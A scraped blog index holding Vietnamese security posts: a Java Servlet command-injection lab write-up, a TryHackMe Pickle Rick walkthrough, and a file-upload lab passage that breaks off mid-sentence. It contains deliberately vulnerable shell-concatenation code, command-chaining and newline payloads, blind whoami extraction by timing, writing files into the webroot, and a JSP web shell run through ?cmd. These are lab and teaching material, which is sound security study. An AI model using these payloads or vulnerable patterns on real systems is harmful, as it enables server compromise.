@Phatmh"},{"content":"Java Servlet Command Injection Vulnerability Challenges Cấu trúc Project Cấu trúc Project +---.idea +---.mvn ª +---wrapper +---src ª +---main ª ª +---java ª ª ª +---ci ª ª ª +---controller ª ª ª +---service ª ª ª +---util ª ª +---resources ª ª ª +---META-INF ª ª +---webapp ª ª +---WEB-INF ª +---test ª +---java ª +---resources +---target +---classes ª +---ci ª ª +---controller ª ª +---service ª ª +---util ª +---META-INF +---Command_Injection-1.0-SNAPSHOT ª +---META-INF ª +---WEB-INF ª +---classes ª +---ci ª ª +---controller ª ª +---service ª ª +---util ª +---META-INF +---generated-sources +---annotations LabServlet.java:Xử lý HTTP request với response thực hiện các tác vụ trên server và trả về kết quả cho người dùng. LabService.java: Nơi đây là nơi xử lý logic chính của cả Web Application là nơi xử lý các level khác nhau. Shell.java: Có nhiệm vụ thực thi các lệnh shell hoặc command-line từ chương trình Java và trả về kết quả của lệnh đó dưới dạng chuỗi. Source Code: GitHub\nTiến hành Exploit và POC từng level Level 1 Level 1 case 1: return Shell.run(\u0026#34;nslookup \u0026#34; + input); Đoạn code trên sẽ gọi qua Shell.java để xử lý OScommand\npackage ci.util; import java.io.BufferedReader; import java.io.InputStreamReader; import java.nio.charset.StandardCharsets; public class Shell { public static String run(String cmd) throws Exception { String[] command; if (System.getProperty(\u0026#34;os.name\u0026#34;).toLowerCase().contains(\u0026#34;win\u0026#34;)) { // Windows: chạy qua powershell command = new String[]{\u0026#34;powershell.exe\u0026#34;, \u0026#34;/c\u0026#34;, cmd}; } else { // Linux/Mac: chạy qua /bin/sh command = new String[]{\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, cmd}; } Process p = new ProcessBuilder(command) .redirectErrorStream(true) .start(); StringBuilder sb = new StringBuilder(); try (BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = br.readLine()) != null) sb.append(line).append(\u0026#39;\\n\u0026#39;); } p.waitFor(); return sb.toString(); } } Đây là đoạn code Shell.java khi nó được gọi nó sẽ cho ta xử lý các OScommand ở đây tôi làm cả 2 OS là Windows và Linux. Ở level đầu thì cũng dễ để có thể khai thác vì ta có thể thấy rõ rằng cái sink nó nằm ngay ở đoạn nó cho phép thực thi nslookup nhưng không hề chặn đi những dấu giúp nối dài câu lệnh để thay đổi hành vi của nó.\nỞ đây ta test thử nhập google.com để xem nó có thực thi không và có thể thấy câu lệnh nslookup có thực thi bây giờ ta sẽ thử nối dài nó và thực hiện chạy câu lệnh dir để xem nó sẽ trả về gì.\nVậy là với payload google.com ; ls đã thực thi thành công nó trả về kết quả của cả câu lệnh nslookup ở google.com và shell nó còn thực thi luôn cả câu lệnh dir và dấu ; là nhân tố nối dài câu lệnh giúp ta inject được thêm những câu lệnh ngoài vào.\nLevel 2 Level 2\ncase 2: if (input.contains(\u0026#34;;\u0026#34;)) return \u0026#34;Blocked: contains \u0026#39;;\u0026#39;\u0026#34;; String pingCmd = isWin ? \u0026#34;ping -n 1 \u0026#34; + input : \u0026#34;ping -c 1 \u0026#34; + input; return Shell.run(pingCmd); Đến với lv này thì có thể thấy rõ ràng là dấu ; đã bị filter vì thế payload cũ sẽ không còn hoạt động ở level này.\nVậy thì liệu ngoài ; ra thì powershell còn hỗ trợ kí tự nào có thể giúp ta nối dài câu lệnh, sau một lúc tìm hiểu tôi chọn | hay còn gọi là pipeline để nối dài câu lệnh thử xem liệu nó có được hay không.\nThành công với câu inject ls.\nLevel 3 Level 3 case 3: if (input.matches(\u0026#34;.*[;\u0026amp;|].*\u0026#34;)) return \u0026#34;Blocked: contains one of ; \u0026amp; |\u0026#34;; return Shell.run(\u0026#34;nslookup \u0026#34; + input); Đến với level 3 có thể thấy rõ rằng 3 dấu ; \u0026amp; | đã bị block vậy bây giờ ta phải tìm cách khác để nối dài câu lệnh ra. Sau một lúc tìm hiểu ta có thể lợi dụng url encode cùng với bảng hex để xuống dòng ở đây mình dùng %0A .\n%0A là gì? Trong URL encoding: - Mỗi ký tự đặc biệt được mã hoá dưới dạng % + mã hex của nó theo bảng ASCII. - 0A trong hệ hex chính là số thập phân 10, tức là ký tự Line Feed (LF) — hay xuống dòng \\n. Thành công thực thi được câu lệnh ls.\nLevel 4 Level 4 Tới với level 4 thì nó sẽ giúp ta mô phỏng chức năng backup file. private String winBackupStatus(String archiveName) throws Exception { String cmd = \u0026#34;powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command \u0026#34; + \u0026#34;\\\u0026#34;Compress-Archive -Path \u0026#39;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\hosts\u0026#39; \u0026#34; + \u0026#34;-DestinationPath \u0026#39;C:\\\\\\\\Users\\\\\\\\ADMIN\\\\\\\\IdeaProjects\\\\\\\\Backup\\\\\\\\\u0026#34; + archiveName + \u0026#34;\u0026#39; -Force; \u0026#34; + \u0026#34;if ($?) { \u0026#39;OK\u0026#39; } else { \u0026#39;ERROR\u0026#39; }\\\u0026#34;\u0026#34;; return Shell.run(cmd).trim(); } Đây là nơi sẽ giúp ta backup file zip nếu thành công nó trả về OK còn nếu không thì nó sẽ trigger ERROR. Và ta có thể thấy rõ rằng là ở đây cmd đã rơi vào Shell.run hay là Untrusted Data đã rơi vào Unsafe Method ta có thể thấy rằng đây là một sink có thể khai thác được, việc bây giờ ta sẽ test thử liệu shell có hoạt động hay không bằng lệnh sleep\nCó thể thấy nó báo lỗi nhưng câu lệnh sleep đã được thực thi thành công vì ở thời gian response đã là hơn 5 giây. Vậy bây giờ ta sẽ tìm cách để đưa được response ra được bên ngoài để đọc được nó ở đây mình dùng webhook cùng với Invoke-WebRequest vì mình sử dụng powershell chứ không phải linux.\nKết quả curl nhảy liên tục vì nó in ra từng dòng ở trong câu lệnh ls. Ở đây là mô phỏng với trường hợp chỉ trả về kết quả OK hoặc ERROR và mình phải test trong môi trường blind còn với chall này thì những payload như ;ls vẫn sẽ nhảy ra kết quả vì ở đây mình để nó in ra để debug.\nLevel 5 Level 5 Đến với level 5 thì ở đây case của ta là vẫn là code của level 4 vẫn là chức năng backup nhưng nếu mình đang ở trong môi trường no internet và không dùng webhook để bắn kết quả ra được thì phải làm sao? private String winBackupBoolean(String archiveName) throws Exception { String cmd = \u0026#34;powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command \u0026#34; + \u0026#34;\\\u0026#34;$__ok = $false; \u0026#34; + \u0026#34;try { \u0026#34; + \u0026#34; \u0026amp; { \u0026#34; + \u0026#34; $ErrorActionPreference=\u0026#39;SilentlyContinue\u0026#39;; \u0026#34; + \u0026#34; Compress-Archive -Path \u0026#39;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\hosts\u0026#39; \u0026#34; + \u0026#34; -DestinationPath C:\\\\\\\\Users\\\\\\\\ADMIN\\\\\\\\IdeaProjects\\\\\\\\Backup\\\\\\\\\u0026#34; + archiveName + \u0026#34; -Force; \u0026#34; + \u0026#34; $__ok = $true; \u0026#34; + \u0026#34; } \u0026gt; $null 2\u0026gt; $null 3\u0026gt; $null 4\u0026gt; $null 5\u0026gt; $null 6\u0026gt; $null | Out-Null \u0026#34; + \u0026#34;} catch { $__ok = $false } \u0026#34; + \u0026#34;if ($__ok) { \u0026#39;OK\u0026#39; } else { \u0026#39;FAIL\u0026#39; }\\\u0026#34;\u0026#34;; return Shell.run(cmd).trim(); } Ở đây vì là whitebox nên ta có thể thấy được đường dẫn bên trong nên ở đây có 2 case có khả thi để có thể khai thác command injection. - Với trường hợp đầu tiên là sử dụng bruteforce theo kiểu binary search để tìm kí tự. Ở đây tôi sử dụng payload là heieiehehe; if ([int][char](whoami)[0] -gt 109) { Start-Sleep -Seconds 5 } đoạn đầu tôi sẽ tiến hành backup file có tên heieiehehe sau đó tiến hành sử dụng điều kiện if kiểm tra giá trị đầu tiên của mảng sau khi câu lệnh whoami được thực thi nếu nó lớn hơn ascii = 109 là chữ m thì nó sẽ sleep 5 giây.\nKết quả cho ra nó hoàn toàn có sleep trên 5 giây vậy từ cách này ta hoàn toàn có thể brute force ra được kết quả từng câu lệnh mình inject vào.\nCòn với trường hợp thứ 2 thì giả thiết ở đây liệu ta có thể ghi một file vào document root và cho nó thực thi được không. Tiến hành inject payload tududu; echo \u0026quot;pwned!\u0026quot; \u0026gt; D:\\Web\\apache-tomcat-10.1.43-windows-x64\\apache-tomcat-10.1.43\\webapps\\ROOT\\pwned.txt để đưa file pwned.txt vào document root. Có thể thấy file được lưu vào Document Root.\nSau khi truy cập thấy có hiển thị vậy bây giờ ta sẽ thử chạy lệnh whoami rồi đẩy thử kết quả ra file txt.\nPayload : duddddmmy;+whoami+\u0026gt;+D%3a\\Web\\apache-tomcat-10.1.43-windows-x64\\apache-tomcat-10.1.43\\webapps\\ROOT\\whoami.txt\nThành công.\nLevel 6 Level 6 Ở level này thì cách hoạt động của nó sẽ tương tự với level 5 nhưng chỉ khác đây là trong trường hợp file được config dưới quyền RO `Read Only` nghĩa là mình sẽ chỉ có quyền đọc file chứ không thể ghi vào file khác như ở lv 5. private String winBackupNoStdout(String archiveName) throws Exception { String cmd = \u0026#34;powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command \u0026#34; + \u0026#34;\\\u0026#34;$ProgressPreference=\u0026#39;SilentlyContinue\u0026#39;;\u0026#34; + \u0026#34;$ErrorActionPreference=\u0026#39;SilentlyContinue\u0026#39;;\u0026#34; + \u0026#34;Compress-Archive -Path \u0026#39;C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\u0026#39; \u0026#34; + \u0026#34;-DestinationPath D:\\\\\\\\IdeaProjects\\\\\\\\Backup\\\\\\\\\u0026#34; + archiveName + \u0026#34; -Force 2\u0026gt;\u0026amp;1\\\u0026#34;\u0026#34;; String out = Shell.run(cmd); return out.toLowerCase().contains(\u0026#34;booleankey\u0026#34;) ? \u0026#34;FAIL\u0026#34; : \u0026#34;SUCCESS\u0026#34;; } Với trường hợp read only ta sẽ không thể ghi file ra ngoài nhưng ở lv 5 ta đã tiếp cận với 1 hướng đi đó là Boolean Base ta sẽ thử áp dụng vào trường hợp này. Ở đây ta sẽ lợi dụng chuỗi tín hiệu booleankey để thực hiện in ra kết quả Fail hoặc Success tuỳ vào trường hợp.\nVới đoạn payload đầu tiên là x.zip; if((whoami)[0] -eq 'a'){ 'BooleanKey' } ; ở đây nó sẽ thực hiện so sánh vị trí thử 0 của kết quả câu lệnh whoami nếu nó là a thì nó sẽ trả về fail và ngược lại nếu điều kiện sai kết quả sẽ trả về success.\nCòn với trường hợp vị trí 0 bằng b thì kết quả đã khác là nó đã trả về success vì vậy điều kiện trên là false. Ở đây những payload trên hoạt động kiểu vậy nhờ BooleanKey cái BooleanKey được mặc định nếu nằm trong câu lệnh sẽ trả về Fail vậy nên ta lợi dụng nó để khi mà ta so sánh chuỗi hoặc kí tự mà nó có tồn tại thì mình sẽ in cái BooleanKey ra và từ đó nó sẽ trả về Fail có nghĩa là điều kiện đúng. Và ngược lại nếu trong câu if true thì nó sẽ không in ra Fail vì cái booleankey sẽ nằm ở bên else.\nLevel 7 Level 7 Đến với level 7 thì cách hoạt động sẽ vẫn là backup file nhưng ở đây nó sẽ khác đi là nó sẽ không còn trả về Fail hay Success mà chỉ trả về Đã chạy tác vụ nên có thể thấy đây là trường hợp output silence.\npublic void runLevel7Silent(String input) throws Exception { if (input == null) input = \u0026#34;\u0026#34;; boolean isWin = System.getProperty(\u0026#34;os.name\u0026#34;).toLowerCase().contains(\u0026#34;win\u0026#34;); if (isWin) { String cmd = \u0026#34;powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command \u0026#34; + \u0026#34;\\\u0026#34;$ErrorActionPreference=\u0026#39;SilentlyContinue\u0026#39;; \u0026#34; + \u0026#34;Compress-Archive -Path \u0026#39;C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\u0026#39; \u0026#34; + \u0026#34;-DestinationPath D:\\\\\\\\IdeaProjects\\\\\\\\Backup\\\\\\\\\u0026#34; + input + \u0026#34; -Force 2\u0026gt;\u0026amp;1\\\u0026#34;\u0026#34;; ci.util.Shell.run(cmd); } else { ci.util.Shell.run(\u0026#34;timeout 3 zip /tmp/\u0026#34; + input + \u0026#34; -r /etc/hosts 2\u0026gt;\u0026amp;1\u0026#34;); } } Test thử payload cũ thì nó chỉ hiển thị cho ta mỗi dòng này vậy nên bây giờ boolean base đã bị vô tác dụng trước dạng output như này. Sau một lúc test thử thì ta hoàn toàn có thể lợi dụng câu lệnh sleep để thực hiện time base nếu điều kiện true sẽ sleep theo ý thích của mình nếu không thì response trả về nhanh. Tiến hành test thử payload x.zip; Start-Sleep -Seconds 10 ; # để xem nó có thực sự sleep không.\nCó thể thấy response là 11 giây vậy là lệnh sleep có hiệu quả việc bây giờ là ta sẽ thử thêm điều kiện vào. Bây giờ ta sử dụng payload giống lv6 nhưng chỉ sửa phần boolean thành time x.zip; if((whoami)[0] -eq 'a'){ Start-Sleep -Seconds 10 } ; #\nResponse time trên 10s chứng tỏ chữ đầu tiên của kết quả câu lệnh whoami là a từ đây ta hoàn toàn có thể viết script để chạy để in ra full kết quả.\nTest thử với kí tự thứ nhất bằng b thì response chỉ trong vòng 1 giây ta có thể kết luận câu sleep 10 giây không thực thi nên là false.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-servlet-cmdi/","summary":"\u003ch1 id=\"java-servlet-command-injection-vulnerability-challenges\"\u003eJava Servlet Command Injection Vulnerability Challenges\u003c/h1\u003e\n\u003ch3 id=\"cấu-trúc-project\"\u003eCấu trúc Project\u003c/h3\u003e\n\u003csummary\u003e\nCấu trúc Project\n\u003c/summary\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e+---.idea\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e+---.mvn\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   +---wrapper\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e+---src\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   +---main\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   +---java\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   ª   +---ci\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   ª       +---controller\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   ª       +---service\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   ª       +---util\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   +---resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   ª   +---META-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª   +---webapp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   ª       +---WEB-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª   +---test\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª       +---java\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eª       +---resources\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e+---target\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    +---classes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   +---ci\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   ª   +---controller\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   ª   +---service\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   ª   +---util\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   +---META-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    +---Command_Injection-1.0-SNAPSHOT\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   +---META-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª   +---WEB-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª       +---classes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª           +---ci\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª           ª   +---controller\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª           ª   +---service\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª           ª   +---util\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    ª           +---META-INF\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    +---generated-sources\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        +---annotations\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e\u003cmark\u003eLabServlet.java:\u003c/mark\u003eXử lý HTTP request\nvới response thực hiện các tác vụ trên server và trả về kết quả cho\nngười dùng.\u003c/li\u003e\n\u003cli\u003e\u003cmark\u003eLabService.java:\u003c/mark\u003e Nơi đây là nơi xử lý\nlogic chính của cả Web Application là nơi xử lý các level khác nhau.\u003c/li\u003e\n\u003cli\u003e\u003cmark\u003eShell.java:\u003c/mark\u003e Có nhiệm vụ thực thi các\nlệnh shell hoặc command-line từ chương trình Java và trả về kết quả\ncủa lệnh đó dưới dạng chuỗi.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"source-code\"\u003eSource Code:\u003c/h4\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pzhat/Command_Injection_Lab\"\u003eGitHub\u003c/a\u003e\u003c/p\u003e","title":"Java Servlet Command Injection Vulnerability Challenges"},{"content":"TryHackme Pickle Rick Challenge WriteUp by Phatmh. [link challenge]:https://tryhackme.com/room/picklerick Tiến hành dùng Openvpn kết nối với Tryhackme. Tiến hành kiểm tra mình đã cùng mạng mới máy bên Tryhackme hay chưa. Câu hỏi và Ip của challenge nãy đã test và kết nối thành công.\nBước 1: Recon Sử dụng Nmap để tiến hành kiểm tra xem có port nào đang được mở ra, ở đây phát hiện ra được bên máy đang mở port 22/tcp và port 88/tcp ở đây tôi nghĩ là server nạn nhân đang chạy SSH và HTTP.\nTương tự tôi thực hiện scan UDP nhưng no response vậy nên có thể cho rằng là UDP không có port nào có thể khai thác hiện tại.\nCuối cùng là tiến hành Scan Services. Kết quả cho ra Services của 2 cổng trên.\nBước 2: Tiến hành tấn công xâm nhập Thử SSH đến admin nhưng có vẻ dù bấm loạn xạ như nào vẫn không thể kết nối SSH được đến. Nếu SSH không đến bằng tài khoản admin default thì phải đọc về lỗi có sẵn của service OpenSSH mà server đang chạy nhưng khoan đã thử vào đó mình sẽ thử sang port 80 là HTTP để xem có gì trong đó.\nTruy cập theo địa chỉ thì ra một Web bây giờ tiến hành thử View Page Source coi có đào thêm được gì không. Có vẻ đi theo đường Port 80 sẽ hiệu quả vì khi View Source ta đã tìm thấy được UserName mà challenge giấu nằm ở đây.\nVậy liệu ngoài trong Source thì nó sẽ giấu một cái gì đó chẳng hạn như Password ở đâu, để tìm ra nó ta sẽ thử tiến hành Recon trang web này cụ thể là Scan Directory bằng công cụ GoBuster.\nSử dụng wordlist bé vì dùng wordlist lớn khá mất thời gian kết quả trả về cho chúng ta response 200 ở 3 directories.\nTruy cập vào robots.txt nó trả về 1 dòng (Wubbalubbadubdub) có thể đây là mật khẩu vậy nên ta sẽ thử với tên đăng nhập mà đã tìm được từ trước.\nTruy cập vào login.php và tiến hành nhập.\nTruy cập trái phép thành công tài khoản.\nTiến hành xài tunnels để kết nối và viết shell bash vì khi thực thi các lệnh cat có vẻ bị chặn ở website.\nDùng python chạy shell nối tunnel với nhau. Kết nối thành công với bên server. Thành công tìm đáp án câu 1 từ đây ta hoàn toàn có thể tiếp tục tìm nốt đáp án cho câu sau. Cảm ơn vì đã đọc.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-pickle-rick-thm/","summary":"\u003ch1 id=\"tryhackme-pickle-rick-challenge-writeup-by-phatmh\"\u003eTryHackme Pickle Rick Challenge WriteUp by Phatmh.\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HyFRp7ONel.png\"\u003e\n[link challenge]:https://tryhackme.com/room/picklerick\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJcZC7_4ll.png\"\u003e\nTiến hành dùng Openvpn kết nối với \u003cem\u003e\u003cstrong\u003eTryhackme.\u003c/strong\u003e\u003c/em\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BkYLRXOEex.png\"\u003e\nTiến hành kiểm tra mình đã cùng mạng mới máy bên Tryhackme hay chưa.\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rk9dCQ_Nlx.png\"\u003e\nCâu hỏi và Ip của challenge nãy đã test và kết nối thành công.\u003c/p\u003e\n\u003ch3 id=\"bước-1-recon\"\u003eBước 1: Recon\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SkoGJEuVlg.png\"\u003e\nSử dụng Nmap để tiến hành kiểm tra xem có port nào đang được mở ra, ở đây phát hiện ra được bên máy đang mở port 22/tcp và port 88/tcp ở đây tôi nghĩ là server nạn nhân đang chạy \u003cem\u003e\u003cstrong\u003eSSH và HTTP\u003c/strong\u003e\u003c/em\u003e.\u003c/p\u003e","title":"TryHackme Pickle Rick Challenge WriteUp by Phatmh."},{"content":"Java Servlet FileUpload Vulnerability by @Phatmh Lỗ hổng File Upload Bản chất của File Upload: File Upload đối với tôi nó đơn giản chỉ là lợi dụng Unsafe Method để truyền một Untrusted Data vào nhằm thay đổi hành vi của hệ thống trong trường hợp này là Web App, với FileUpload những gì User Upload lên sẽ chính là Untrusted Data và với Feature Upload File như này sẽ thế nào nếu nó không được Validate một cách cẩn thận ta sẽ đến với DEMO bằng Java Servlet.\nWeb App Overview Đây là một Web App được dựng với mục đích như một môi trường test các case phổ biến về lỗ hổng FileUpload. Feature chính của nó bao gồm:\nUpload File View File Delete File Hình ảnh overview của trang web. Và ở đây mình code theo từng level, mỗi level tương ứng với mỗi cơ chế validate khác nhau và ở đây ta sẽ phải tìm các Bypass và đi đên RCE.\nĐi vào phân tích code Ở đây mình dùng @WebServlet để ánh xạ path của web chứa chức năng file upload đến index.jsp vì ở đây mình làm trang web chứa nhiều lỗ hổng nên việc chia ra từng alias là một ứng dụng rất cần thiết. Rồi đến với đoạn code đầu tiên của class thì ta có đoạn getUploadPath đoạn này để define thư mục mà mình sẽ Upload File lên cụ thể ở đây các file sẽ nằm ở /upload.\nĐoạn code doGet() trong Servlet này dùng để xử lý các request HTTP GET gửi tới endpoint hello-file-upload. Đây là phần quan trọng của chức năng quản lý file upload, bao gồm cả việc tạo thư mục upload nếu chưa có và xoá file nếu có yêu cầu.\nresponse.setContentType(\u0026quot;text/html\u0026quot;); PrintWriter out = response.getWriter(); Dòng này thiết lập định dạng của response là text/html, tức là nội dung trả về là HTML. PrintWriter out cho phép bạn ghi dữ liệu HTML vào response để hiển thị trên trình duyệt. if (!uploadDir.exists()) uploadDir.mkdir(); - Kiểm tra nếu thư mục upload chưa tồn tại thì tạo thư mục mới. ```java String deleteFile = request.getParameter(\u0026#34;delete\u0026#34;); - Lấy giá trị của query parameter delete từ URL. if (deleteFile != null) { File fileToDelete = new File(uploadPath, deleteFile); if (fileToDelete.exists()) { fileToDelete.delete(); response.sendRedirect(\u0026#34;hello-file-upload\u0026#34;); return; } else { out.println(\u0026#34;\u0026lt;p style=\u0026#39;color:red;\u0026#39;\u0026gt;File not found.\u0026lt;/p\u0026gt;\u0026#34;); } } - Xoá file nếu tồn tại. - ![image](https://hackmd.io/_uploads/ryCj6z-Pex.png) Đoạn HTML để render ra được các chức năng. ![image](https://hackmd.io/_uploads/Sk6gAMbPxl.png) Hiển thị tất cả file trong thư mục upload dưới dạng danh sách HTML. Mỗi file có 2 tùy chọn: - View: mở file trong tab mới. - Delete: gửi request để xóa file. File[] files = uploadDir.listFiles(); - Lấy toàn bộ file trong thư mục upload (đã được tạo và gán ở phần trước). if (files != null \u0026amp;\u0026amp; files.length \u0026gt; 0) { out.println(\u0026#34;\u0026lt;ul\u0026gt;\u0026#34;); for (File f : files) { String fname = f.getName(); - Nếu thư mục không rỗng, duyệt từng file để in ra dưới dạng danh sách `(\u0026lt;ul\u0026gt; và \u0026lt;li\u0026gt;)` out.println(\u0026#34;\u0026lt;li\u0026gt;\u0026#34; + fname + \u0026#34; [\u0026lt;a href=\u0026#39;\u0026#34; + request.getContextPath() + \u0026#34;/upload/\u0026#34; + fname + \u0026#34;\u0026#39; target=\u0026#39;_blank\u0026#39;\u0026gt;View\u0026lt;/a\u0026gt;] \u0026#34; + \u0026#34;[\u0026lt;a href=\u0026#39;?delete=\u0026#34; + fname + \u0026#34;\u0026#39; onclick=\u0026#39;return confirm(\\\u0026#34;Delete \u0026#34; + fname + \u0026#34;?\\\u0026#34;)\u0026#39;\u0026gt;Delete\u0026lt;/a\u0026gt;]\u0026lt;/li\u0026gt;\u0026#34;); - Tạo link View và Delete. } else { out.println(\u0026#34;No uploaded files.\u0026#34;); } - Nếu thư mục rỗng (không có file), in ra thông báo \u0026#34;No uploaded files.\u0026#34; ![image](https://hackmd.io/_uploads/S1zhNmbDel.png) String uploadPath = getUploadPath(request); File uploadDir = new File(uploadPath); if (!uploadDir.exists()) uploadDir.mkdir(); - Tạo thư mục upload nếu chưa có - getUploadPath(request) trả về đường dẫn thư mục upload trên server. - File uploadDir = new File(uploadPath) tạo đối tượng File để thao tác. - mkdir() tạo thư mục nếu chưa tồn tại. String selectedCase = request.getParameter(\u0026#34;case\u0026#34;); - Lấy giá trị của tham số case trong form upload. Part filePart = request.getPart(\u0026#34;file\u0026#34;); - filePart là đối tượng chứa toàn bộ dữ liệu file được upload. - request.getPart(\u0026#34;file\u0026#34;) dựa vào tên input trong HTML form: String filename = filePart.getSubmittedFileName(); - Lấy tên file gốc. InputStream fileContent = filePart.getInputStream(); Lấy nội dung của File. Đi vào phân tích các case lỗi Case1 : FileUpload Without Validation Với case đầu tiên thì nó chỉ đơn giản là một chức năng Upload File nhưng không hề có một lớp phòng thủ nào vì thế attacker sẽ có thể dễ dàng thực hiện Upload một file thực thi nguy hiểm để RCE được WebApp. Chọn Lv1 là no filter.\nThử Upload lên một file .txt\nTest thử chức năng view file, có thể thấy rằng các file được upload lên sẽ nằm ở thư mục/upload. Với case này thì rõ ràng là nó không hề có một lớp filter nào vậy nên việc Upload Shell sẽ khá là đơn giản.\nViết một File shell.jsp với nội dung như trên.\nTiến hành Upload shell.jsp lên và nó sẽ nằm ở thư mục /upload.\nhttp://localhost:1337/vulnerability_web_war_exploded/upload/shell.jsp?cmd=whoami\nTiến hành truyền câu lệnh vào query ?cmd ở đây tôi dùng whoami và đã thành công thực thi câu lệnh RCE\nCase 2 : First Dot Split String[] parts = filename.split(\u0026quot;\\\\.\u0026quot;); Tách tên file bằng dấu \u0026ldquo;.\u0026rdquo;. Ví dụ: - \u0026ldquo;webshell.jsp\u0026rdquo; → [\u0026ldquo;webshell\u0026rdquo;, \u0026ldquo;jsp\u0026rdquo;] - \u0026ldquo;webshell.jsp.jpg\u0026rdquo; → [\u0026ldquo;webshell\u0026rdquo;, \u0026ldquo;jsp\u0026rdquo;, \u0026ldquo;jpg\u0026rdquo;] - split(\u0026quot;\\.\u0026quot;) dùng \\. vì . là ký tự đặc biệt trong regex.\nString ext2 = parts.length \u0026gt; 1 ? parts[1].toLowerCase() : \u0026quot;\u0026quot;; Lấy phần mở rộng thứ 2, tức là index 1 Và lỗi đã xảy ra ở đây, lớp filter này chỉ có thể hoạt động trong trường hợp file mình upload lên chỉ có 1 